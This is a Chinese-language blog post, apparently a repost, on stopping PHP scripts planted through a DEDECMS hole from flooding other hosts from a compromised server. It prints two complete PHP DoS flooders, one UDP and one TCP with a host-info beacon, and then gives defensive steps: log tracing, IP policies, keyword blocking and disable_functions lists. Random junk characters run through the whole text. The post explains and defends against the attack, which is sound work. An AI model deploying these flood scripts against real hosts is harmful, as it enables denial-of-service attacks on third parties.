服务器php对外发包引起崩溃的解决办法paopao最近老听人说,php对外发包,引起服务器崩溃或被机房查封,今天闲着无事和大家一起分享paopao我总结的DEDECMS php对外发包引发服务器崩溃的终极解决方法,希望可以帮助大家解决服务器问题,让网站运行的更好
2 _" R& I9 E9 p) L- O( L, y( c3 e6 k 一。php对外发包分析5 P. z" z2 G0 |+ D; a4 v9 W
用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:& t1 P8 \8 f' o- K/ h. |0 R" ?( D
以下是代码片段:" \% f4 G0 u( W$ B! T
$packets = 0;8 o$ T7 `, F; I9 J7 n) {* a
$ip = $_GET[\'ip\'];
$ P( Y9 y+ \" G3 ]2 |9 N7 f $rand = $_GET[\'port\'];/ P" O4 t; h9 d9 l. A8 f
set_time_limit(0);+ j) I9 {( q5 n
ignore_user_abort(FALSE);" { o' |5 J3 O0 l# M( d
$exec_time = $_GET[\'time\'];sbxl-201206121 p. T0 Q: w% m( ^7 a) l
$time = time();
! n$ L6 T% T; b. T/ A print \'Flooded: $ip on port $rand; ^( ~9 C0 y4 q2 [% g
\';
- x( V; X, q- }2 Y0 Q- Z $max_time = $time+$exec_time;
! x3 U/ i: K9 a' V7 w for($i=0;$i<65535;$i++){4 N" _% m) B! B: c# w
$out .= \'X\';5 {! {- B8 i/ `' G9 d
}
7 [; [! _2 z4 Q' i& O% N& M) R7 M* c while(1){4 Q3 w0 c& i9 ~2 Y: x3 @1 X
$packets++;
/ c- Q. \: h- i- r) I' P9 O4 R" a if(time() > $max_time){6 w( Z: f+ A% o* H: G
break;- ?& r7 {0 H( ~1 O: _
}
) k! T( x1 O' O F& b $fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5);
7 m7 B, w3 U/ h. D6 n! r3 E5 o" @ if($fp){* r# X) O5 [( |
fwrite($fp, $out);6 l; H% H5 |1 j0 }+ ^9 L$ P
fclose($fp);
6 i4 b$ _3 @% G! {. k }* C' h# c3 |/ S2 y
}
: e% d$ [8 Q. m/ c, g echo \'Packet complete at \'.time(\'h:i:s\').\' with
6 t! [/ W4 N# l! r; v( G& O" E& z $packets (\' . round(($packets*65)/1024, 2) . \' mB) packets averaging \'.
* c6 v4 ^& Y6 v5 |/ t$ u9 G* p round($packets/$exec_time, 2) . \' packets/s ;9 x# Y4 r6 [' O1 o/ z$ X0 p4 X
?>9 k8 n! {% Z' e" C* K# M+ e
二。表现特征) [! |8 v9 }! ^) _7 \6 H! p
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.
! @2 C- o- L7 i- |% A 近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.; A" E$ y. p/ k- h/ c
如何快速找到这些站?
5 r- ]1 C- g+ Z3 G% L 你可以打开日志
5 B8 ]$ f7 B5 Q C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,
0 d4 ^! J% I+ E% U 里面有类似这样的记录:
- c7 x8 e7 U; Y+ q8 u- b8 K 2012-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_12 e) t- E" r! y/ Y j4 M' u( I
最后三项783 Disabled 30_FreeHost_1+ f* L0 d. }# W9 M6 O5 c
783就是这个站在IIS中的ID
. [4 w; n- ^1 l5 y 30_FreeHost_1就是所在池
- [( `- y+ @( {# { 三?解决办法+ I+ y+ L! W/ S
1.按上述找到这个网站后停止它.或停止池,并重启IIS.
! Z; }9 N$ s% }" l# m1 j 2.在IP策略,或防火墙中,禁止所有udp向外发送
% C z2 E: [9 M7 e* N' ~ c( d* ~ 在星外最新版本的安全包中,已带有4.0版本的IP策略【下载safe包】,您导入后就直接可以限制了外发的UDP包?下载这个包,之后导入安全策略?但这个策略并没有关闭DNS端口,部分攻击还是有效.. _3 A. C& G! M, x) D5 T
为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址'特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了)5 O9 _, k; t: p% O, L! w; N0 J5 f
在2011-4-27,我们上传了新的安全包,里面有一个'星外虚拟主机管理平台IP策略关闭所有UDP端口用.ipsec'文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了DNS端口,会造成的这台服务器上无法用IE访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常)& e% l5 u/ V7 `* B1 R1 w
3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)
& N3 b! b) w% T2 g4 [, m Z 4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS' X8 L2 S( T5 W4 g+ C
ignore_user_abort = On3 M- G+ g! I) N; e
(注意前面的;号要删除)
4 s" J0 W" {. S5 O disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
! \; R* a o' }2 l 在后面加上 y8 n$ w4 E4 V3 ?) C4 s
fsockopen,set_time_limit# y" b' H/ N: D& r7 L
但这样会造成很多php程序都不正常.
( {8 a [; [5 d7 d! r; h; o) ^ 另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?& t2 {/ G [/ V* b( r1 C( Y6 D7 F
近期已有新的基于TCP攻击的PHPDDOS代码如下:9 ?0 J2 ~: q) ?; r
以下是代码片段:
/ s! F! y, L% g4 a4 W set_time_limit(999999);
" g C, A4 }& r; Y( v $host = $_GET['host'];
" a8 ] v/ y/ d5 d $port = $_GET['port'];/ d; ]3 \! T; ~8 q# Z/ u) P2 F
$exec_time = $_GET['time'];
# S$ R+ {6 Q$ M $packets = 64;: @) X/ \& A) j) ^( _: y3 K
ignore_user_abort(True);
9 d2 m @+ l2 u if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
2 o* |/ ^: Z" C if (StrLen($_GET['rat'])<>0){
4 X% e1 Z) d+ J9 V" g echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.: G# t/ ^( y* ]/ l ?1 r( K
php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];( e! g4 I! [; h9 K
exit;0 f, |- p/ S/ K2 A+ k1 F
}+ ~5 B" W) r/ K, C! q5 M& v( r
exit;
- L7 f9 x8 d# d }
* m# w. l3 h( f+ m $max_time = time()+$exec_time;. Q# I; H. Q( V7 Z* F
while(1){* ^+ s' _) u9 _ M x3 V# ~7 O+ m
$packets++;( H1 e9 F f! G) _( c( V
if(time() > $max_time or $exec_time != 69){, A3 k: S( P; Y7 T, N5 T& `
break;! l( a% C9 n# u4 W( G2 r& t
}
$ f' F% H0 x3 c1 X0 x $fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);
& @" b9 N1 d6 o. p8 `8 C; c. q }
5 }0 C. O% _4 D. { ?>
9 B0 C0 O9 ]1 @% T) M0 z 同样,可以采有以下解决办法:
1 ^$ e# I) ~$ g0 t: Z/ N: g" c 1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS
6 c1 }' x7 A8 V/ C; p p3 `7 g5 j ignore_user_abort = On
* x1 C7 O9 A7 P+ ~: X7 j (注意前面的;号要删除)
( j: p2 `6 s% e, k) t0 U2 y disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
2 a( _7 {* f( F/ C! j! p a9 F 在后面加上
d6 Y$ D. d% q; l4 o/ ~$ f fsockopen,set_time_limit
; I" K0 c& j |% @* [* y 但这样会造成很多php程序都不正常. 如果您是IDC,给客户提供空间的,禁用函数可能导致客户程序无法运行,所以一般不要用此办法
" W+ a& R) e$ ^ K7 O O 2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上?
9 L5 M. P! T- M1 }7 I& x. o5 h 3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它?4 e- I, s7 n8 U" q# j7 G
文章出自医院网站优化 http://www.ahyyqing.com,转载请注明出处。
8 z' ]( ?& e/ {$ _- o7 K" l9 G& B |